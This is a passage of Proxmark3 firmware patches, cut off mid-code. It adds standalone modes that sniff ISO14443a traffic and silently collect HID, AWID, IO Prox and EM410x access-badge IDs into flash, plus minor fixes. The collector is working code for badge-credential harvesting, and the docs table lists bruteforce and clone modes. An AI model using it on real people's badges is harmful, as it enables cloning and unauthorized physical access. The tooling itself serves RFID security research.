max_keys_chunk / (float)(msclock() - start_time) * 1000.0; + PrintAndLogEx(INFO, "Chunk %6u/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); +// } } p_keyblock = NULL; From 75841e7b20d79a825349b1984923e65765add860 Mon Sep 17 00:00:00 2001 From: Michael Farrell Date: Thu, 30 Jan 2020 21:00:22 +1100 Subject: [PATCH 387/418] fix: logic inversion in loadFileDICTIONARY_safe use of CheckStringIsHEXValue --- client/fileutils.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/fileutils.c b/client/fileutils.c index 982b0f753..d9e6e4445 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -1016,7 +1016,7 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key if (line[0] == '#') continue; - if (CheckStringIsHEXValue(line)) + if (!CheckStringIsHEXValue(line)) continue; uint64_t key = strtoull(line, NULL, 16); From 4c76d54c9a924d9da72bffc0b3d46f783ca84845 Mon Sep 17 00:00:00 2001 From: Michael Farrell Date: Thu, 30 Jan 2020 21:41:09 +1100 Subject: [PATCH 388/418] add standalone module for sniffing iso14a to flash This module is intentionally simple, and doesn't do anything fancy. --- armsrc/Standalone/Makefile.hal | 7 +- armsrc/Standalone/Makefile.inc | 5 +- armsrc/Standalone/hf_14asniff.c | 124 ++++++++++++++++++++++++++++++++ 3 files changed, 133 insertions(+), 3 deletions(-) create mode 100644 armsrc/Standalone/hf_14asniff.c diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index f082dd117..fb952179a 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -35,13 +35,16 @@ define KNOWN_STANDALONE_DEFINITIONS | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | | (RDV4 only) | storing in flashmem - Bogito | +----------------------------------------------------------+ +| HF_14ASNIFF | 14a sniff to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ endef STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE -STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG +STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF STANDALONE_MODES_REQ_SMARTCARD := -STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG +STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 66dfc6da2..c7c5ff327 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -33,4 +33,7 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS))) SRC_STANDALONE = hf_bog.c endif - +# WITH_STANDALONE_HF_14ASNIFF +ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS))) + SRC_STANDALONE = hf_14asniff.c +endif diff --git a/armsrc/Standalone/hf_14asniff.c b/armsrc/Standalone/hf_14asniff.c new file mode 100644 index 000000000..d8bf6ab82 --- /dev/null +++ b/armsrc/Standalone/hf_14asniff.c @@ -0,0 +1,124 @@ +//----------------------------------------------------------------------------- +// Copyright 2020 Michael Farrell +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for standalone HF/iso14a Sniff to flash +//----------------------------------------------------------------------------- + +/* + * `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth). + * + * On entering stand-alone mode, this module will start sniffing ISO14a frames. + * This will be stored in the normal trace buffer (ie: in RAM -- will be lost + * at power-off). + * + * Short-pressing the button again will stop sniffing, and at _this_ point + * append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount. + * + * Once the data is saved, standalone mode will exit. + * + * LEDs: + * - LED1: sniffing + * - LED2: sniffed tag command, turns off when finished sniffing reader command + * - LED3: sniffed reader command, turns off when finished sniffing tag command + * - LED4: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve trace data from flash: + * + * 1. mem spiffs dump o hf_14asniff.trc f trace.trc + * Copies trace data file from flash to your PC. + * + * 2. trace load trace.trc + * Loads trace data from a file into PC-side buffers. + * + * 3. For ISO14a: trace list 14a 1 + * For MIFARE Classic: trace list mf 1 + * + * Lists trace data from buffer without requesting it from PM3. + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the trace data from flash: + * + * Caveats / notes: + * - Trace buffer will be cleared on starting stand-alone mode. Data in flash + * will remain unless explicitly deleted. + * - This module will terminate if the trace buffer is full (and save data to + * flash). + * - Like normal sniffing mode, timestamps overflow after 5 min 16 sec. + * However, the trace buffer is sequential, so will be in the correct order. + */ + +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "iso14443a.h" +#include "util.h" +#include "spiffs.h" +#include "appmain.h" +#include "dbprint.h" +#include "ticks.h" +#include "BigBuf.h" + +#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc" + +void DownloadTraceInstructions() { + Dbprintf(""); + Dbprintf("To get the trace from flash and display it:"); + Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc"); + Dbprintf("2. trace load trace.trc"); + Dbprintf("3. trace list 14a 1"); +} + +void ModInfo(void) { + DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem"); + DownloadTraceInstructions(); +} + +void RunMod() { + StandAloneMode(); + + Dbprintf("Starting standalone mode: hf_14asniff"); + rdv40_spiffs_lazy_mount(); + + SniffIso14443a(0); + + Dbprintf("Stopped sniffing"); + SpinDelay(200); + + // Write stuff to spiffs logfile + uint32_t trace_len = BigBuf_get_traceLen(); + if (trace_len > 0) { + Dbprintf("[!] Trace length (bytes) = %u", trace_len); + + uint8_t* trace_buffer = BigBuf_get_addr(); + if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) { + rdv40_spiffs_write( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE); + } else { + rdv40_spiffs_append( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE); + } + } else { + Dbprintf("[!] Trace buffer is empty, nothing to write!"); + } + + LED_D_ON(); + rdv40_spiffs_lazy_unmount(); + LED_D_OFF(); + + SpinErr(LED_A, 200, 5); + SpinDelay(100); + + LEDsoff(); + SpinDelay(300); + DownloadTraceInstructions(); +} From a612cc9414239615f6ce6b766d501487782c9862 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 30 Jan 2020 16:43:18 +0100 Subject: [PATCH 389/418] device side hid demodulate use colors --- armsrc/lfops.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 1cb8406bf..b7b928ff2 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -1291,7 +1291,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) cardnum = (lo >> 1) & 0x7FFFF; fac = ((hi & 0xF) << 12) | (lo >> 20); } - Dbprintf("TAG ID: %x%08x (%d) - Format Len: %dbit - FC: %d - Card: %d", + Dbprintf("TAG ID: " _YELLOW_("%x%08x (%d)") "- Format Len: " _YELLOW_("%d") "bit - FC: " _YELLOW_("%d") "- Card: "_YELLOW_("%d"), hi, lo, (lo >> 1) & 0xFFFF, From 4f912abaf6c576e44acfc82be406e9531182894f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 30 Jan 2020 17:05:59 +0100 Subject: [PATCH 390/418] Add 'lf_icehid' - new standalone mode for reading lf HID credentials and store it to RDV4 flashmem --- CHANGELOG.md | 2 + armsrc/Standalone/Makefile.hal | 8 +- armsrc/Standalone/Makefile.inc | 4 + armsrc/Standalone/lf_icehid.c | 126 ++++++++++++++++++ .../4_Advanced-compilation-parameters.md | 4 +- 5 files changed, 140 insertions(+), 4 deletions(-) create mode 100644 armsrc/Standalone/lf_icehid.c diff --git a/CHANGELOG.md b/CHANGELOG.md index 828538e8d..77aefb23b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `LF_ICEHID` standalone mode which searches for lf HID credentials and store to RDV4 flashmem (@iceman1001) + - Added `HF_14ASNIFF` standalone mode with storing trace to RDV4 flashmem (@micolous) - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto) - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001) - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index fb952179a..2dec4cfde 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -38,13 +38,15 @@ define KNOWN_STANDALONE_DEFINITIONS | HF_14ASNIFF | 14a sniff to flashmem | | (RDV4 only) | | +----------------------------------------------------------+ - +| LF_ICEHID | LF HID collector to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ endef -STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE +STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF STANDALONE_MODES_REQ_SMARTCARD := -STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF +STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index c7c5ff327..d4de0411e 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -37,3 +37,7 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS))) SRC_STANDALONE = hf_14asniff.c endif +# WITH_STANDALONE_LF_ICEHID +ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS))) + SRC_STANDALONE = lf_icehid.c +endif \ No newline at end of file diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c new file mode 100644 index 000000000..c490d8d68 --- /dev/null +++ b/armsrc/Standalone/lf_icehid.c @@ -0,0 +1,126 @@ +//----------------------------------------------------------------------------- +// Christian Herrmann, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HID collector aka IceHID by Iceman +//----------------------------------------------------------------------------- +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "lfops.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "printf.h" +#include "spiffs.h" +#include "ticks.h" + +/* + * `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * On entering stand-alone mode, this module will start reading/record HID credentials. + * Every found / collected credential will be written/appended to the logfile in flash + * as a text string. + * + * LEDs: + * - LED A: reading / record + * - LED B: writing to flash + * - LED C: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve log file from flash: + * + * 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log + * Copies log file from flash to your PC. + * + * 2. exit the Proxmark3 client + * + * 3. more lf_hidcollect.log + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the log file from flash: + * + * 1. mem spiffs remove lf_hidcollect.log + */ + +#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log" + +void DownloadLogInstructions() { + Dbprintf(""); + Dbprintf("[=] To get the logfile from flash and display it:"); + Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE); + Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client"); + Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE); +} + +void ModInfo(void) { + DbpString(" LF HID collector mode - a.k.a IceHID (Iceman)"); +} + +void RunMod() { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + StandAloneMode(); + Dbprintf("[=] LF HID collector a.k.a IceHID started"); + + rdv40_spiffs_lazy_mount(); + + bool log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE); + + // the main loop for your standalone mode + for (;;) { + WDT_HIT(); + + // exit from IceHID, send a usbcommand. + if (data_available()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(280); + if (button_pressed == BUTTON_HOLD) + break; + + LED_A_ON(); + // findone, high, low, + uint32_t hi = 0, lo = 0; + CmdHIDdemodFSK(1, &hi, &lo, 0); + + LED_A_OFF(); + + //didn't collect any, loop + if (hi == 0 && lo == 0) + continue; + + uint8_t entry[20]; + memset(entry, 0, sizeof(entry)); + sprintf((char *)entry, "%lx%08lx\n", hi, lo); + + LED_B_ON(); + if (!log_exists) { + rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, sizeof(entry), RDV40_SPIFFS_SAFETY_SAFE); + log_exists = true; + } else { + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, sizeof(entry), RDV40_SPIFFS_SAFETY_SAFE); + } + LED_B_OFF(); + + SpinErr(LED_A, 250, 2); + } + + LED_C_ON(); + rdv40_spiffs_lazy_unmount(); + LED_C_OFF(); + + SpinErr(LED_A, 200, 5); + SpinDelay(100); + + LEDsoff(); + SpinDelay(300); + DownloadLogInstructions(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); +} diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 3b0599de5..01b7d083a 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -73,13 +73,15 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo |-----------------|----------------------------------------| | | No standalone mode | LF_SAMYRUN (def)| HID26 read/clone/sim - Samy Kamkar -| LF_ICERUN | standalone mode skeleton - iceman +| LF_ICERUN | standalone mode skeleton - Iceman | LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz | LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini | HF_YOUNG | Mifare sniff/simulation - Craig Young | HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina | HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito +| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous +| LF_ICEHID | LF HID collector to flashmem - Iceman By default `STANDALONE=LF_SAMYRUN`. From b8a46a6fe3726779f356c2decbc9dfa7d194c828 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 1 Feb 2020 18:23:16 +0100 Subject: [PATCH 391/418] fix typo, thanks @neduchaljan! --- client/cmdsmartcard.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdsmartcard.c b/client/cmdsmartcard.c index 21066ffb7..7a892a8e0 100644 --- a/client/cmdsmartcard.c +++ b/client/cmdsmartcard.c @@ -54,7 +54,7 @@ static int usage_sm_reader(void) { return 0; } static int usage_sm_info(void) { - PrintAndLogEx(NORMAL, "Usage: s info [h|s]"); + PrintAndLogEx(NORMAL, "Usage: sc info [h|s]"); PrintAndLogEx(NORMAL, " h : this help"); PrintAndLogEx(NORMAL, " s : silent (no messages)"); PrintAndLogEx(NORMAL, ""); From 3563eb36f9cbc7b9f1273371c51396ff0d6c66cd Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Mon, 3 Feb 2020 20:36:23 +0200 Subject: [PATCH 392/418] try without pacman install packages --- appveyor.yml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/appveyor.yml b/appveyor.yml index 5070438c9..f5bb9f32a 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -142,10 +142,6 @@ clone_script: ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" - bash -c -i 'pacman -S mingw-w64-i686-readline mingw-w64-i686-gcc git make pkg-config mingw-w64-i686-qt5 --noconfirm' 2>&1>$null - - bash -c -i 'pacman -Suu --noconfirm' 2>&1>$null - Write-Host "Update " -NoNewLine Write-Host "[ OK ]" -ForegroundColor Green From e2d2e86df6f4feb089ad108e4eb3f0e260193d92 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 3 Feb 2020 20:53:50 +0100 Subject: [PATCH 393/418] textual --- client/cmdlfhid.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/cmdlfhid.c b/client/cmdlfhid.c index a41d183e7..201dcef84 100644 --- a/client/cmdlfhid.c +++ b/client/cmdlfhid.c @@ -342,7 +342,8 @@ static int CmdHIDClone(const char *Cmd) { } clearCommandBuffer(); - SendCommandOLD(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid)); + SendCommandMIX(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid)); + PrintAndLogEx(INFO, "Clone command sent. Try "_YELLOW_("'lf hid read'") " to verify"); return PM3_SUCCESS; } From 4be59e295fa3c94d2e0f9c6ba97e0f512f922273 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 3 Feb 2020 21:37:51 +0100 Subject: [PATCH 394/418] whitespace --- armsrc/spiffs.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index 87321148d..81172476f 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -401,21 +401,21 @@ int rdv40_spiffs_lazy_mount_rollback(int changed) { // TODO : forbid writing to a filename which already exists as lnk ! // TODO : forbid writing to a filename.lnk which already exists without lnk ! int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - write_to_spiffs((char *)filename, (uint8_t *)src, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + write_to_spiffs(filename, src, size); ) } int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - append_to_spiffs((char *)filename, (uint8_t *)src, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + append_to_spiffs(filename, src, size); ) } // todo integrate reading symlinks transparently int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { - RDV40_SPIFFS_SAFE_FUNCTION( // - read_from_spiffs((char *)filename, (uint8_t *)dst, size); // + RDV40_SPIFFS_SAFE_FUNCTION( + read_from_spiffs(filename, dst, size); ) } From 8696b521ef9481ac77944493553dc1317c4aef30 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 3 Feb 2020 21:38:42 +0100 Subject: [PATCH 395/418] protect debug messages --- common/lfdemod.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/common/lfdemod.c b/common/lfdemod.c index 2a9983130..325294258 100644 --- a/common/lfdemod.c +++ b/common/lfdemod.c @@ -206,7 +206,7 @@ void getHiLo(int *high, int *low, uint8_t fuzzHi, uint8_t fuzzLo) { *low = signalprop.low; } - prnt("getHiLo fuzzed: High %d | Low %d", *high, *low); + // prnt("getHiLo fuzzed: High %d | Low %d", *high, *low); } // by marshmellow @@ -1566,7 +1566,7 @@ static uint16_t cleanAskRawDemod(uint8_t *bits, size_t *size, int clk, int inver } if (*startIdx == 0) { *startIdx = i - clk; - prnt("DEBUG ASK: cleanAskRawDemod minus clock [%d]", *startIdx); + if (g_debugMode == 2) prnt("DEBUG ASK: cleanAskRawDemod minus clock [%d]", *startIdx); } waveHigh = !waveHigh; smplCnt = 0; @@ -1587,7 +1587,7 @@ static uint16_t cleanAskRawDemod(uint8_t *bits, size_t *size, int clk, int inver } if (*startIdx == 0) { *startIdx = i - cl_2; - prnt("DEBUG ASK: cleanAskRawDemod minus half clock [%d]", *startIdx); + if (g_debugMode == 2) prnt("DEBUG ASK: cleanAskRawDemod minus half clock [%d]", *startIdx); } waveHigh = !waveHigh; smplCnt = 0; @@ -1651,7 +1651,7 @@ int askdemod_ext(uint8_t *bits, size_t *size, int *clk, int *invert, int maxErr, errCnt = manrawdecode(bits, size, 0, &alignPos); *startIdx += ((*clk / 2) * alignPos); - prnt("DEBUG: (askdemod_ext) CLEAN: startIdx %i, alignPos %u , bestError %zu", *startIdx, alignPos, errCnt); + if (g_debugMode == 2) prnt("DEBUG: (askdemod_ext) CLEAN: startIdx %i, alignPos %u , bestError %zu", *startIdx, alignPos, errCnt); } return errCnt; } From 9bf26c080d40b2c3b0e3c959c79a171b92947312 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 3 Feb 2020 21:39:44 +0100 Subject: [PATCH 396/418] chg: icehid now records HID/AWID/IO/EM4100.. --- armsrc/Standalone/lf_icehid.c | 351 ++++++++++++++++++++++++++++++---- 1 file changed, 314 insertions(+), 37 deletions(-) diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c index c490d8d68..560630dbb 100644 --- a/armsrc/Standalone/lf_icehid.c +++ b/armsrc/Standalone/lf_icehid.c @@ -11,20 +11,22 @@ #include "proxmark3_arm.h" #include "appmain.h" #include "lfops.h" +#include "lfsampling.h" +#include "BigBuf.h" #include "fpgaloader.h" #include "util.h" #include "dbprint.h" #include "printf.h" #include "spiffs.h" #include "ticks.h" - +#include "lfdemod.h" /* * `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal * flash. It requires RDV4 hardware (for flash and battery). * * On entering stand-alone mode, this module will start reading/record HID credentials. - * Every found / collected credential will be written/appended to the logfile in flash - * as a text string. + * Every found / collected credential will be written/appended to the logfile in flash + * as a text string. * * LEDs: * - LED A: reading / record @@ -43,35 +45,308 @@ * This module emits debug strings during normal operation -- so try it out in * the lab connected to PM3 client before taking it into the field. * - * To delete the log file from flash: - * + * To delete the log file from flash: + * * 1. mem spiffs remove lf_hidcollect.log */ #define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log" + void DownloadLogInstructions() { Dbprintf(""); Dbprintf("[=] To get the logfile from flash and display it:"); Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE); Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client"); - Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE); + Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE); +} + +bool log_exists; + +void append(uint8_t* entry, size_t entry_len) { + + LED_B_ON(); + if (log_exists == false) { + rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + log_exists = true; + } else { + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + } + LED_B_OFF(); +} + +uint32_t IceEM410xdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t idx = 0; + int clk = 0, invert = 0, maxErr = 20; + uint32_t hi = 0; + uint64_t lo = 0; + + size_t size = MIN(16385, BigBuf_max_traceLen()); + + //askdemod and manchester decode + int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); + + WDT_HIT(); + + if (errCnt > 50) { + BigBuf_free(); + return PM3_ESOFT; + } + + errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo); + if (errCnt != 1) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[60]; + memset(entry, 0, sizeof(entry)); + + if (size == 128) { + sprintf((char *)entry, "EM XL TAG ID: %06lx%08lx%08lx - (%05ld_%03ld_%08ld)", + hi, + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } else { + sprintf((char *)entry, "EM TAG ID: %02lx%08lx - (%05ld_%03ld_%08ld)", + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } + + append(entry, strlen((char*)entry)); + Dbprintf("strlen %d", strlen((char*)entry)); + + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceAWIDdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t size = MIN(12800, BigBuf_max_traceLen()); + int dummyIdx = 0; + + //askdemod and manchester decode + int idx = detectAWID(dest, &size, &dummyIdx); + + if (idx <= 0 || size != 96) { + BigBuf_free(); + return PM3_ESOFT; + } + + //get raw ID before removing parities + uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32); + uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32); + uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32); + + size = removeParity(dest, idx + 8, 4, 1, 88); + if (size != 66) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[110]; + memset(entry, 0, sizeof(entry)); + + uint8_t fmtLen = bytebits_to_byte(dest, 8); + if (fmtLen == 26) { + uint8_t fac = bytebits_to_byte(dest + 9, 8); + uint32_t cardnum = bytebits_to_byte(dest + 17, 16); + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx \n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo); + } else { + uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16); + if (fmtLen > 32) { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32); + uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx%08lx, Raw: %08lx%08lx%08lx \n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); + } else { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx \n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); + } + } + + append(entry, strlen((char*)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceIOdemod() { + + int dummyIdx = 0; + uint8_t version = 0, facilitycode = 0, crc = 0; + uint16_t number = 0, calccrc = 0; + uint32_t hi = 0, lo = 0; + + size_t size = MIN(12000, BigBuf_max_traceLen()); + +// uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + //fskdemod and get start index + int idx = detectIOProx(dest, &size, &dummyIdx); + + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + hi = bytebits_to_byte(dest + idx, 32); + lo = bytebits_to_byte(dest + idx + 32, 32); + + version = bytebits_to_byte(dest + idx + 27, 8); //14,4 + facilitycode = bytebits_to_byte(dest + idx + 18, 8); + number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9 + + crc = bytebits_to_byte(dest + idx + 54, 8); + for (uint8_t i = 1; i < 6; ++i) + calccrc += bytebits_to_byte(dest + idx + 9 * i, 8); + + calccrc &= 0xff; + calccrc = 0xff - calccrc; + + char *crcStr = (crc == calccrc) ? "ok" : "!crc"; + + uint8_t entry[64]; + memset(entry, 0, sizeof(entry)); + + sprintf((char *)entry, "IO Prox XSF(%02d)%02x:%05d (%08lx%08lx) [%02x %s] \n" + , version + , facilitycode + , number + , hi + , lo + , crc + , crcStr + ); + + append(entry, strlen((char*)entry)); + Dbprintf("%s", entry); + + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceHIDDemod() { + + int dummyIdx = 0; + + uint32_t hi2 = 0, hi = 0, lo = 0; + + // large enough to catch 2 sequences of largest format + size_t size = 50 * 128 * 2; // 